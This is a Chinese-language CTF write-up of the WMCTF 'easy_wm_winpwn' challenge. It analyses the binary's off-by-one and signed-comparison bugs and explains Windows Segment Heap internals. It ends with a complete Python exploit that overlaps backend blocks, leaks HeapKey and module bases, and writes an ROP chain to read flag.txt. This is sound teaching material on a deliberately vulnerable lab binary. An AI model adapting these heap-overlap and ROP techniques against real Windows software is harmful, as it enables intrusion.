本文首发于安全客:https://www.anquanke.com/post/id/253047
比赛的时候没注意,一直把这题当成Nt Heap去做了,最后无功而返,准备等一下官方的writeup学习一下。结果最后没有公布,只能自己再摸索一番了,才发现是个Segment Heap题,由于之前也没有接触过,就比较针对性地学习了一下,同时分享一下解题思路,如果有错误还请批评指正。
题目分析 FrontEndHeapDebugOptions 首先题目提供的附件中有一个start.bat
:
1 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\easy_wm_winpwn.exe" /v FrontEndHeapDebugOptions /t REG_DWORD /d 0x8 /f
通过搜索FrontEndHeapDebugOptions
,可以找到BlackHat 2016的一个PDF ,其中介绍的就是Windows Segment Heap的机制,本文也是从学习这个PDF而来的。
其中对于FrontEndHeapDebugOptions
有解释:
这说明这题不是Nt Heap,而是Segment Heap,两种Heap差别还是很大的。至于如何分辨这个Heap是Nt Heap还是Segment Heap,则可通过windbg调试确定:
主要逻辑 程序的逻辑并不复杂,只是套了许多小菜单,总的来说还是可以视为传统的菜单题。
简单来说,程序的功能就是注册用户,然后以某个用户的身份进行打怪的游戏,胜利之后可以进入到堆内存的操作逻辑。
其中,User management的菜单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 __int64 management () { __int64 result; unsigned int var14[5 ]; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts ("=========================" ); puts ("1.Create user" ); puts ("2.Show user information" ); puts ("3.Edit user name" ); puts ("4.ret" ); puts ("=========================" ); puts ("Your choice: " ); scanf ("%d" , var14); getchar(); result = var14[0 ]; if ( var14[0 ] != 1 ) break ; create(); } if ( var14[0 ] != 2 ) break ; show(); } if ( var14[0 ] != 3 ) break ; edit(); } if ( var14[0 ] == 4 ) break ; puts ("Invalid choice" ); } return result; }
相关的user结构体我们定义为:
1 2 3 4 5 6 7 8 9 struct user { int id; char name[80 ]; char is_vip; int score; int age; int hurt; };
这个菜单中的漏洞是edit
的时候引入了off by one:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int edit () { int result; char v1; int v2; int i; puts ("Please enter user id:" ); scanf ("%d" , &v2); getchar(); if ( v2 > 3 || v2 < 0 || v2 > max_id ) { puts ("Invalid id" ); exit (0 ); } result = puts ("Please enter username:" ); for ( i = 0 ; i <= 0x50 ; ++i ) { v1 = getchar(); result = v1; if ( v1 == 10 ) break ; users[v2].name[i] = v1; result = i + 1 ; } return result; }
所以可以通过name溢出到is_vip
这个标志。
其次,一个没有在打印出来的菜单中显示出来的功能case 202108
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int bonus () { _QWORD rax5; int result; int var18; int var14[5 ]; puts ("Please enter user id:" ); scanf ("%d" , &var18); getchar(); if ( var18 > 3 || var18 < 0 || var18 > max_id ) { puts ("Invalid id" ); exit (0 ); } LODWORD(rax5) = (unsigned __int8)users[var18].is_vip; if ( users[var18].is_vip ) { var14[0 ] = 0 ; scanf ("%d" , var14); LODWORD(rax5) = getchar(); if ( var14[0 ] < 100 ) { rax5 = 100 i64 * var18; users[rax5 / 0x64 ].hurt = var14[0 ]; } } return rax5; }
这里发现只要is_vip != 0
,就可以编辑user.hurt
的值,配合上面的edit
,我们就可以设置hurt
为任意小于100的值,不难注意到可以是负数。
另外,buy
功能提供了一个比较奇怪的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void __fastcall buy () { int var18[6 ]; puts ("Please enter user id:" ); scanf ("%d" , var18); getchar(); if ( var18[0 ] > 3u || var18[0 ] > (unsigned int )max_id ) { puts ("Invalid id" ); exit (0 ); } if ( users[var18[0 ]].score > 0x98967F u && !used ) { used = 1 ; puts ("You can get a huge gift because you defeated the monster" ); scanf ("%d" , var18); getchar(); if ( var18[0 ] ) { if ( var18[0 ] < 0x500 u ) *(_QWORD *)(ptr - (unsigned int )(8 * var18[0 ])) = read_ll(); } } }
就是在user.score > 0x98967F
的时候,允许对ptr
指向的位置进行上溢的修改操作,但只有一次机会。
之后就是主题部分,game的逻辑了:
1 2 3 4 5 6 puts ("======== Arena =========" );puts ("1.Attack a L1near Monster" );puts ("2.Improve combat effectiveness" );puts ("3.Glory wall" );puts ("4.ret" );puts ("=========================" );
这部分也比较简单,攻击的时候,只要user.hurt > rand() % 1000
即可,且这里是无符号比较,只要利用上面的编辑hurt
的功能修改为负数即可。
这样满足条件之后,就能提供三种tip
使用,这里定义tip的结构体如下:
1 2 3 4 5 6 7 8 struct tip { int user_id; glory *glory; __int64 secret; int type; char not_in_wall; };
结合Glory Wall
的逻辑,这三种tip分别用途不同:
tip1:只能做任意大小(0x20 ~ 0x80500)的HeapAlloc
和HeapFree
(私有堆)。
tip2:只能做固定大小(0x20 和 0x20000)的HeapAlloc
和HeapFree
,且只能对0x20000
的块进行edit
以及show
。
tip3:在idx = 0
的时候,故意引入了一个除以0的异常:
1 2 3 4 5 6 7 8 9 10 11 12 else if ( v4 == 3 && tip3_unused == 1 ){ Destination = (char *)HeapAlloc(hHeap, 8u , 0x100 ui64); tips[idx].glory = (glory *)Destination; tips[idx].type = 3 ; tips[idx].user_id = a1; tips[idx].not_in_wall = 1 ; tips[idx].secret = (__int64)tips[idx].glory ^ 0x1A1A2B2B3C3C4D4D i64; strncpy (Destination, "You are a hero" , 0x10 ui64); v9 = 100 / idx++; tip3_unused = 0 ; }
相应的异常处理函数:
1 2 3 4 5 6 7 8 9 10 11 .text :00007F F6A2C72036 loc_7FF6A2C72036: ; DATA XREF: .rdata:00007F F6A2C75150↓o .text :00007F F6A2C72036 ; __except(loc_7FF6A2C73BD0) .text :00007F F6A2C72036 mov eax, 20 h ; ' ' .text :00007F F6A2C7203B imul rax, 0 .text :00007F F6A2C7203F lea rcx, tips .text :00007F F6A2C72046 mov rax, [rcx+rax+8 ] .text :00007F F6A2C7204B mov cs:ptr, rax .text :00007F F6A2C72052 mov eax, cs:idx .text :00007F F6A2C72058 inc eax .text :00007F F6A2C7205A mov cs:idx, eax .text :00007F F6A2C72060 jmp short loc_7FF6A2C7206F
可以看出来是进行一个赋值操作ptr = tip.glory
,这里就可以看出buy
功能对ptr
指向的位置进行上溢编辑的作用了。
而Improve combat effectiveness
这部分,就是提供一个设置score
为负数的机会:
1 2 3 4 5 6 7 scanf ("%d" , &v2);getchar(); if ( v2 && users[a1].score > 0 && (unsigned int )(v2 - 1 ) <= users[a1].score ){ users[a1].score -= v2; users[a1].hurt += v2; }
可以看到在score > 0
且v2 = score + 1
的情况下,结果是score = -1
,而buy
功能里if ( users[var18[0]].score > 0x98967Fu && !used )
同样是无符号比较,从而满足了条件。
菜单总结 这样,整个菜单我们就可以串起来了:
首先,创建一个user
,在编辑user.name
的时候,利用off by one设置user.is_vip
,解锁case 202108
功能,从而实现编辑user.hurt
的值,使其满足user.hurt > 0x1000u
。
然后在进入game
中,利用attack
功能,创建tip3
,触发除以0的异常处理逻辑,完成对全局变量ptr
的赋值,使ptr = tips[0].glory
。
之后利用improve
功能,设置user.score = -1
,解锁buy
功能,提供一次上溢修改8 bytes的功能。
最后再结合tip1和tip2实现Segment Heap的利用。
解题过程 由于Segment Heap的机制比较复杂,内容较多,而本篇注重于解winpwn这道题,所以只会选择性地挑选重要的部分加以解释补充,如果有不正确的地方还望指正。
Segment Heap的空间分配框架 首先我们需要了解一下Segment Heap分配空间的整体框架:
结合这道题目,我们只关注Backend
的部分,即size <= 508 KB
的逻辑;此外,由于解题过程中并没有涉及到LFH(LowFragmentHeap)的逻辑,这里也不会有所涉及,只会关注于VS(Variable Size Allocation)的部分。
申请内存空间 首先在最开始的时候:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 HANDLE init_buf () { FILE *v0; FILE *v1; FILE *v2; HANDLE result; v0 = _acrt_iob_func(1u ); setvbuf(v0, 0 i64, 4 , 0 i64); v1 = _acrt_iob_func(0 ); setvbuf(v1, 0 i64, 4 , 0 i64); v2 = _acrt_iob_func(2u ); setvbuf(v2, 0 i64, 4 , 0 i64); result = HeapCreate(2u , 0 i64, 0 i64); hHeap = result; return result; }
程序调用HeapCreate
创建了一个私有Heap。
在这个Heap的开头,存放着管理这整个Heap的结构体_SEGMENT_HEAP
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 0 :004 > dt _SEGMENT_HEAPntdll!_SEGMENT_HEAP +0x000 EnvHandle : RTL_HP_ENV_HANDLE +0x010 Signature : Uint4B +0x014 GlobalFlags : Uint4B +0x018 Interceptor : Uint4B +0x01c ProcessHeapListIndex : Uint2B +0x01e AllocatedFromMetadata : Pos 0 , 1 Bit +0x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA +0x020 ReservedMustBeZero1 : Uint8B +0x028 UserContext : Ptr64 Void +0x030 ReservedMustBeZero2 : Uint8B +0x038 Spare : Ptr64 Void +0x040 LargeMetadataLock : Uint8B +0x048 LargeAllocMetadata : _RTL_RB_TREE +0x058 LargeReservedPages : Uint8B +0x060 LargeCommittedPages : Uint8B +0x068 StackTraceInitVar : _RTL_RUN_ONCE +0x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS +0x0d8 GlobalLockCount : Uint2B +0x0dc GlobalLockOwner : Uint4B +0x0e0 ContextExtendLock : Uint8B +0x0e8 AllocatedBase : Ptr64 UChar +0x0f0 UncommittedBase : Ptr64 UChar +0x0f8 ReservedLimit : Ptr64 UChar +0x100 SegContexts : [2 ] _HEAP_SEG_CONTEXT +0x280 VsContext : _HEAP_VS_CONTEXT +0x340 LfhContext : _HEAP_LFH_CONTEXT 0 :000 > dt _HEAP_SEG_CONTEXTntdll!_HEAP_SEG_CONTEXT +0x000 SegmentMask : Uint8B +0x008 UnitShift : UChar +0x009 PagesPerUnitShift : UChar +0x00a FirstDescriptorIndex : UChar +0x00b CachedCommitSoftShift : UChar +0x00c CachedCommitHighShift : UChar +0x00d Flags : <anonymous-tag> +0x010 MaxAllocationSize : Uint4B +0x014 OlpStatsOffset : Int2B +0x016 MemStatsOffset : Int2B +0x018 LfhContext : Ptr64 Void +0x020 VsContext : Ptr64 Void +0x028 EnvHandle : RTL_HP_ENV_HANDLE +0x038 Heap : Ptr64 Void +0x040 SegmentLock : Uint8B +0x048 SegmentListHead : _LIST_ENTRY +0x058 SegmentCount : Uint8B +0x060 FreePageRanges : _RTL_RB_TREE +0x070 FreeSegmentListLock : Uint8B +0x078 FreeSegmentList : [2 ] _SINGLE_LIST_ENTRY
(这里的结构体和PDF中的描述的结构体有些不太一样,其中有些成员被放在了+0x100 SegContexts
中)。
其中_SEGMENT_HEAP.SegContexts.SegmentListHead
是一个双向链表节点,将所有的Segment都链起来,因为本题只涉及一个Segment,所以这里可以定位到Segment的位置。
在没有进行任何进一步的内存申请操作时,这个_SEGMENT_HEAP.SegContexts.SegmentListHead
指向本身。
而在我们进入game
逻辑,进行了内存分配(比如申请tip3)的时候,首先就会初始化一个Segment结构。
而对于每个Segment,其内存布局如下:
每个Segment开头都是一个_HEAP_PAGE_SEGMENT
结构体:
1 2 3 4 5 6 7 0 :004 > dt _HEAP_PAGE_SEGMENTntdll!_HEAP_PAGE_SEGMENT +0x000 ListEntry : _LIST_ENTRY +0x010 Signature : Uint8B +0x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE +0x020 UnusedWatermark : UChar +0x000 DescArray : [256 ] _HEAP_PAGE_RANGE_DESCRIPTOR
其中这DescArray[2:255]
就是管理0x2000偏移开始的254个page的metadata。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0 :000 > dt _HEAP_PAGE_RANGE_DESCRIPTORntdll!_HEAP_PAGE_RANGE_DESCRIPTOR +0x000 TreeNode : _RTL_BALANCED_NODE +0x000 TreeSignature : Uint4B +0x004 UnusedBytes : Uint4B +0x008 ExtraPresent : Pos 0 , 1 Bit +0x008 Spare0 : Pos 1 , 15 Bits +0x018 RangeFlags : UChar +0x019 CommittedPageCount : UChar +0x01a Spare : Uint2B +0x01c Key : _HEAP_DESCRIPTOR_KEY +0x01c Align : [3 ] UChar +0x01f UnitOffset : UChar +0x01f UnitSize : UChar
之后针对这个Destination = (char *)HeapAlloc(hHeap, 8u, 0x100ui64);
,即申请0x100的内存空间的操作,会进行VS SubSegment Allocation,也就是说要初始化一个VS SubSegment。
于是会触发Backend Allocation,从这个Segment中申请出一个Backend Block作为VS SubSegment使用,在实际调试过程中可以观察到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0 :004 > dt _HEAP_PAGE_RANGE_DESCRIPTOR 0x23958f00000 +40 ntdll!_HEAP_PAGE_RANGE_DESCRIPTOR +0x000 TreeNode : _RTL_BALANCED_NODE +0x000 TreeSignature : 0xccddccdd +0x004 UnusedBytes : 0x1000 +0x008 ExtraPresent : 0 y0 +0x008 Spare0 : 0 y000000000000000 (0 ) +0x018 RangeFlags : 0xf '' +0x019 CommittedPageCount : 0x1 '' +0x01a Spare : 0 +0x01c Key : _HEAP_DESCRIPTOR_KEY +0x01c Align : [3 ] "???" +0x01f UnitOffset : 0x11 '' +0x01f UnitSize : 0x11 ''
DescArray[2].UnitSize = 0x11
表明该Backend Block由11个page构成(大小为0x11000),其中前10个page作为VS SubSegment的空间(0x10000),剩下的1个page是guard page,用来防止堆溢出影响到该VS SubSegment后面的内容:
DescArray[2].Rangeflags = 0xf
是标志位,各个bit表示:
0x01:表示Allocated。
0x02:表示该DescArray
是连续的descriptors的首个。
0x08:表示该Backend block用于LFH subsegment。
0x0C:表示该Backend block用于VS subsegment。
这样,在偏移0x2000 ~ 0x12000的这部分内存就是VS subsegment(不包括guard page),它开头的位置是一个_HEAP_VS_SUBSEGMENT
的管理结构体,紧接着后面就是VS block,将分配给用户使用:
1 2 3 4 5 6 7 8 0 :004 > dt _HEAP_VS_SUBSEGMENTntdll!_HEAP_VS_SUBSEGMENT +0x000 ListEntry : _LIST_ENTRY +0x010 CommitBitmap : Uint8B +0x018 CommitLock : Uint8B +0x020 Size : Uint2B +0x022 Signature : Pos 0 , 15 Bits +0x022 FullCommit : Pos 15 , 1 Bit
需要注意的是,每个VS Block的前0x20个字节是头部的metadata,从0x20开始才是分配给用户使用的区域,所以第一申请得到的内存地址为Segment + 0x2000 + 0x30 + 0x20
的位置。
接下来,如果继续调用attack
然后申请tip2
,触发HeapAlloc(hHeap, 8u, 0x20000ui64)
,即申请0x20000的内存时,由于实际会申请0x20000 + 0x10
(加个header)的空间,它将不会触发VS Allocation的分配机制而时使用Backend Allocation进行分配,拿出连续的page当作内存空间返回给用户使用。
具体地,就是从剩下的DescArray[0x13:0xFF]
的整块空间中,切割出DescArray[0x13:0x33]
管理的这0x21个page(偏移0x13000 ~ 0x34000)出来使用。
Backend Allocation对空闲内存的管理 这题的关键就在于,在Backend Allocation中,有一个关键的字段,即_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize
,(这里的_HEAP_PAGE_RANGE_DESCRIPTOR
指的是首个)。
它表示当前的Backend block有多少的空闲的page,即表明了有多少空闲的空间可以被分配出去。
存在多个Freed的Backend block的情况下,它们则用红黑树进行组织,但这里不对细节进行描述,只需要知道在正常情况下,Backend Allocation采用Best-Fit的方式,即找到满足大小的最小Backend block进行切割(如果有必要切割)分配。
可行的利用方式 结合以上简单的了解,围绕这道题,我们可以设计出一个可能的利用场景——伪造_HEAP_PAGE_RANGE_DESCRIPTOR.UnitSize
造成Backend block的overlap。
此外由于VS Subsegment也来自于Backend block,这样可以通过Backend block overlap达到对VS Subsegment整个结构的完全控制,或者更简单点,就能达到对VS block的二次分配:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 +---------------+ | ....... | +---------------+ +--| Page 0x02 |-------------------------+ | +---------------+ | Backend block 0 <--+ | ....... | | | +---------------+ | +--| Page 0x22 | | +---------------+ +--> Fake Backend block 0 +--| Page 0x23 |--+ | (overlap Backend block 1) | +---------------+ | | Backend block 1 <--+ | ....... | +--> VS Subsegment | | +---------------+ | | +--| Page 0x34 |--+----------------------+ +---------------+ | ....... | +---------------+
利用思路
首先完成“菜单总结”部分的步骤,此时Segment Heap的各种结构已经完成初始化。
利用tip1(tips[1])的任意大小内存空间分配,分配0xfe90大小的空间,将VS block用尽。
再次利用tip1(tips[2]),分配0x20000大小的空间,触发Backend Allocation(记为Backend block 1)。
利用tip2(tips[3]),此时首先会分配0x20的空间,由于之前分配的VS block已经用尽,从而这次申请内存(< 0x20000)时,触发Backend Allocation(记为Backend block 2,与Backend block 1连续)分配内存给VS Subsegment。
于是这个0x20的内存空间将落在Backend block 2中,Backend block 1之后。
之后再分配0x20000的空间,该地址会存放在上面提到的0x20的结构体中。
释放Backend block 1,并利用buy
功能,修改DescArray[0x13].UnitSize
,构造Backend block overlap,使得原Backend block 1 overlap Backend block 2。
利用tip1(tips[5]),分配0x20000大小的空间,切割Backend block 1,剩下的部分正好和Backend block 2重合。
利用tip2(tips[6]),VS Allocation正常分配第一个0x20的内存空间,而可编辑的0x20000的内存空间将通过Backend Allocation拿到Backend block 2的地址。
于是由于tips[6].glory->buf
指向的地址空间正好位于VS Subsegment处,且tips[3].glory
和tips[6].glory
结构体也落在VS block的地方,那么通过编辑tips[6].glory->buf
然后show
就能打印出上面的Heap地址(由于HeapAlloc
传入的dwFlags = 8
,申请出来的内存内容会清空,但是由于tips[6].glory
是申请完再写入的,会被保留);再根据这个Heap地址即可计算出该Segment的基址。
同时,通过编辑tips[6].glory->buf
指向的内存空间,就可以完全控制tips[3].glory
结构体,包括其中的tips[3].glory->buf
指针;但是由于tips[3].glory->encoding = 0x1a1a2b2b3c3c4d4d
,而\x1a
字符在Windows的字符流输入模式下相当于EOF,因此无法读入,故在对tips[3].glory->buf
进行edit
的时候只能一次只能写0x10 bytes,不过影响不大。
这样,我们就能通过tips[3]
和tips[6]
构造出任意地址读的原语。
通过任意地址读,读取任意一个VS block的header,该header的前8 bytes是encode过的,具体通过:
1 header = header ^ HeapKey ^ block_addr
计算得出,同样的通过encode过的header,由于原header和block_addr都是已知的,可以反推出HeapKey的值(可以在调试过程中,读取ntdll!RtlpHpHeapGlobals
结构体中的HeapKey
进行验证,这是一个_RTLP_HP_HEAP_GLOBALS
结构体)。
之后通过前面leak出来的Segment的地址,读出_HEAP_PAGE_SEGMENT.ListEntry.Flink
(指向_SEGMENT_HEAP.SegContexts.SegmentListHeap
),从而计算出这个私有Segment Heap的首地址。
再leak出_SEGMENT_HEAP.SegContexts.Callbacks.Allocate
指针,其值为encode过的ntdll!RtlpHpVsContextAllocate
值,其算法为:
1 _SEGMENT_HEAP.SegContexts.Callbacks.Allocate = ntdll!RtlpHpVsContextAllocate ^ HeapKey ^ &_SEGMENT_HEAP.SegContexts
由于HeapKey已经计算出来了,所以只要根据encode的值推算出ntdll!RtlpHpVsContextAllocate
的值即可,从而计算出ntdll的基地址。
之后就是常规套路了,通过ntdll!PebLdr - 0x78
处的PEB相关地址,leak出PEB的地址,并且由于PEB和TEB的地址偏移固定,故可以leak出TEB的地址;此外还能读取PEB上存放的program base值,再通过程序IAT表中的导入函数,得到各个有需要的dll的基址即可;此外读取TEB中的Stack Base准备爆破game
函数函数栈位置。
最后在game
的返回地址处写ROP进行ORW(这里尝试直接执行system("cmd.exe")
无法getshell,原因不明),且需要注意的是,与Linux下的用户态程序相比,Windows的栈行为有些不同:
从这张图中可以看出,作为调用者的Function A,其还会保留0x20 bytes的空间,供被调用的Function B存放四个参数寄存器RCX RDX R8 R9;也就是说,我们不能像在Linux下一样布置ROP,而要考虑到这部分`register parameter stack area`的空间会被破坏。
然后退出game,触发ROP读flag即可。
补充 由于我个人也没有完全搞清楚整个Segment Heap的机制,仅是在针对WMCTF winpwn这道题的情况下进行了部分的分析,整个过程也学习到了很多,但仍有许多细节没有弄清楚。原PDF分析得十分清楚,还需要深入地学习。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 from winpwn import *import syscontext.log_level = 'debug' context.arch = 'amd64' p = process("./easy_wm_winpwn.exe" ) if len(sys.argv) == 2 and sys.argv[1 ] == '1' : windbgx.attach(p) def choose (choice) : p.sendlineafter("Your choice: " , str(choice)) def enter_game (id) : choose(1 ) p.sendlineafter("Please enter user id:" , str(id)) def exit_game () : choose(4 ) def attack (tip, size=0 ) : choose(1 ) choose(tip) if tip == 1 : p.sendlineafter("Acquired size: " , str(size)) def improve (val) : choose(2 ) p.sendline(str(val)) def show_wall (idx) : choose(3 ) choose(1 ) p.sendlineafter("plz:" , str(idx)) def edit_wall (idx, content) : choose(3 ) choose(2 ) p.sendlineafter("plz:" , str(idx)) p.send(content) def delete_wall (idx) : choose(3 ) choose(3 ) p.sendlineafter("plz:" , str(idx)) def enter_manage () : choose(2 ) def exit_manage () : choose(4 ) def create_user (name, age) : choose(1 ) p.sendafter("Please enter username:" , name) p.sendlineafter("Please enter age:" , str(age)) def show_user (id) : choose(2 ) p.sendlineafter("Please enter user id:" , str(id)) def edit_user (id, name) : choose(3 ) p.sendlineafter("Please enter user id:" , str(id)) p.sendafter("Please enter username:" , name) def buy (id, offset, val) : choose(3 ) p.sendlineafter("Please enter user id:" , str(id)) p.sendlineafter("You can get a huge gift because you defeated the monster" , str(offset)) p.sendline(str(val)) def bonus (id, val) : choose(0x3157C ) p.sendlineafter("Please enter user id:" , str(id)) p.sendline(str(val)) def verify (id) : enter_manage() show_user(id) exit_manage() def arbitrary_read (addr) : payload = "A" * 0x48 + p64(addr) edit_wall(6 , payload) show_wall(3 ) p.recvuntil("Content: " ) return u64(p.recvuntil('\r\n' )[:-2 ][:8 ].ljust(8 , "\x00" )) def arbitrary_write (addr, val) : payload = "A" * 0x48 + p64(addr) edit_wall(6 , payload) edit_wall(3 , val) enter_manage() create_user("AAA\n" , 0 ) edit_user(0 , "A" * 0x50 + '\x01' ) exit_manage() bonus(0 , 1 << 31 ) verify(0 ) enter_game(0 ) attack(3 ) pause() improve(2 ) exit_game() verify(0 ) enter_game(0 ) attack(1 , 0xfe90 ) attack(1 , 0x20000 ) attack(2 ) attack(1 , 0x20000 ) improve(4 ) delete_wall(2 ) exit_game() buy(0 , 0x3bb , 0x4204ffff00000002 ) enter_game(0 ) attack(1 , 0x20000 ) attack(2 ) payload = "A" * 0x80 edit_wall(6 , payload) show_wall(6 ) p.recvuntil(p64(0x1a1a2b2b3c3c4d4d )) heap_addr = u64(p.recv(6 ) + "\x00" * 2 ) res = arbitrary_read(heap_addr - 0x34010 ) segment_heap_addr = res - 0x148 res = arbitrary_read(heap_addr - 0x31fe0 ) plain_head = 0x100000012000f heapkey = res ^ (heap_addr - 0x31fe0 ) ^ plain_head vs_context_addr = segment_heap_addr + 0x280 vs_context_callbacks_addr = vs_context_addr + 0x88 res = arbitrary_read(vs_context_callbacks_addr) RtlpHpSegVsAllocate_addr = (res ^ vs_context_addr ^ heapkey) ntdll_base = RtlpHpSegVsAllocate_addr - 0x77440 pebldr_addr = ntdll_base + 0x16a4c0 peb_addr = arbitrary_read(pebldr_addr - 0x78 ) - 0x80 teb_addr = peb_addr + 0x1000 prog_base = arbitrary_read(peb_addr + 0x12 ) << 16 stack_base = arbitrary_read(teb_addr + 0xa ) << 16 puts_iat = prog_base + 0x4228 puts_addr = arbitrary_read(puts_iat) ucrtbase_base = puts_addr - 0x83d50 heap_create_iat = prog_base + 0x4000 heap_create_addr = arbitrary_read(heap_create_iat) kernel32_base = heap_create_addr - 0x1ff50 game_ret_addr = prog_base + 0x27f1 stack_addr = stack_base - 0x8 while stack_addr > stack_base - 0x3000 : addr = arbitrary_read(stack_addr) if addr == game_ret_addr: break stack_addr -= 8 pop_rcx = ucrtbase_base + 0x2aa80 pop_rdx = kernel32_base + 0x24d92 pop_r8 = ntdll_base + 0x7223 pop_4regs = ntdll_base + 0x8c552 open_addr = ucrtbase_base + 0xa5550 read_addr = ucrtbase_base + 0x182a0 payload = p64(pop_rcx + 1 ) + p64(pop_rcx) + p64(stack_addr + 0xd0 ) + p64(pop_rdx) + p64(0 ) + p64(open_addr) payload += p64(pop_4regs) + p64(0 ) * 4 payload += p64(pop_rcx) + p64(3 ) + p64(pop_rdx) + p64(heap_addr) + p64(pop_r8) + p64(0x30 ) + p64(read_addr) payload += p64(pop_4regs) + p64(0 ) * 4 payload += p64(pop_rcx) + p64(heap_addr) + p64(puts_addr) payload += "flag.txt\x00" arbitrary_write(heap_addr + 0x88 , p64(stack_addr)) edit_wall(6 , payload) exit_game() print("[+]segment_heap_addr: %s" % hex(segment_heap_addr)) print("[+]heapkey: %s" % hex(heapkey)) print("[+]ntdll_base: %s" % hex(ntdll_base)) print("[+]peb_addr: %s" % hex(peb_addr)) print("[+]teb_addr: %s" % hex(teb_addr)) print("[+]prog_base: %s" % hex(prog_base)) print("[+]stack_base: %s" % hex(stack_base)) print("[+]ucrtbase_base: %s" % hex(ucrtbase_base)) print("[+]kernel32_base: %s" % hex(kernel32_base)) print("[+]stack_addr: %s" % hex(stack_addr)) p.interactive()
相关链接